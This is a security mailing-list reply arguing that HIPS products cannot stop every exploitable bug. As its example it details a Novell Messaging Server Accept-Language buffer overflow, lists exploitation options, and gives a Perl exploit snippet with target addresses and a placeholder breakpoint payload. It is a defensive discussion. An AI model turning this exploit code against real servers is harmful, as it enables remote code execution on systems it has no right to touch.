Re: Fwd: RE: We have the enemy, and the enemy is... you

[H D Moore <hdm-daily-dave () digitaloffense net>]

Coming from the pen-testing side, the biggest advantage to installing a 
HIPS is that it makes that system different from a default target. It 
doesn't matter how great Windows Defender is, it doesn't matter if you 
have DEP, someone will find a way to get code execution, and they will 
target it for the most widely-deployed platform. The value of a HIPS 
product decreases with the number of people that use it. There are enough 
'weird' bugs that even a HIPS with 100% effectiveness against an 
unauthorized control transfer can't prevent an application from giving 
out administrative access. Here is a fun (recent) example:

Today, ZDI reported a bug in Novell's Messenging Server. The bug is 
triggered by a request to port 8300 with an Accept-Language header that 
has a value greater than 16 bytes. If you can make it through the 4 hour 
install process for NetWare Client, eDirectory, ConsoleOne, and finally 
the Messaging Server (with half of Novell's download sites not working 
today, argh), you can start to play with this. This bug is really 
interesting - you end up overwriting two local variables which happen to 
be the source and destination pointers for an inlined memcpy. If you can 
make it past the memcpy, the app will return to your address of choice. 
There are no SEH frames on the stack, so you have to pass the copy before 
being able to abuse the return address overwrite. 

At this point, you have quite a few options:

1. Overwrite pointers stored in DLClient.dll's .data to obtain execution 
with the next web request.

2. Overwrite other values in .data that point to the web root, giving 
yourself access to the filesystem through the web server.

3. Overwrite a SEH ptr someplace (ntdll) and use pop/pop/ret to return.

4. Overwrite the PEB lock pointers (or least try to, you can make a few 
attempts if you do it right)

5. Overwrite the process stack with the memcpy, but only starting at the 
return address (assumes knowledge of the SP, which may change a little).

6. Overwrite the memcpy pointers with a valid set of addresses, continue 
overwriting the return address, and just use that to return.

Since I had already wasted too much time with this bug, I chose the last 
option and used a 'jmp esp' in DLClient.dll (after using a src/dst 
pointer from DLClient.dll's data to pass the memcpy). The result is 
reliable execution of at least 500 bytes of payload. The only annoying 
part is making the payload pass through tolower() :-)

The point is that even if something prevented SEH ptr overwrites, PEB lock 
ptr abuses, stack smashing via canaries, or even "bad" control transfers, 
this bug would still be exploitable. Funny enough, the only solution I 
can think of that would make this a real pain in the ass to exploit, 
would be full address space randomization[1]...

( sample code, jumps to block of 0xcc )

Targets => [[ 'Windows (ALL)', 0x6103c3d3, 0x61041010]]

my $boom = Pex::Text::AlphaNumText(252);
substr($boom, 244, 4, pack('V', $target->[1])); # jmp esp
substr($boom, 248, 2, "\xeb\x06"); # jmp to payload

my $pattern = 
Pex::Text::AlphaNumText(16).
pack('V', $target->[2]). # src ptr
$boom. # ret addr + jmp
pack('V', $target->[2]). # dst ptr
("\xcc" x 1024); # payload

my $request =
"GET / HTTP/1.1\r\n".
"Host: www\r\n".
"Accept-Language: $pattern\r\n".
"\r\n";

$s->Send($request);

-HD

1. http://www.wehnus.com/

On Thursday 13 April 2006 17:31, Olef Anderson wrote:
> No intention to start any flame fest or upset anybody but here is my
> final verdict regarding HIPS. just speaking my mind here, bear with me
> please. Also i should mention, this verdict is all about HIPS for
> binary-only OSes, basically win32 and not much more (solaris, hpux, aix
> ? boring details if you ask me and no HIPS vendor really seems to care
> either)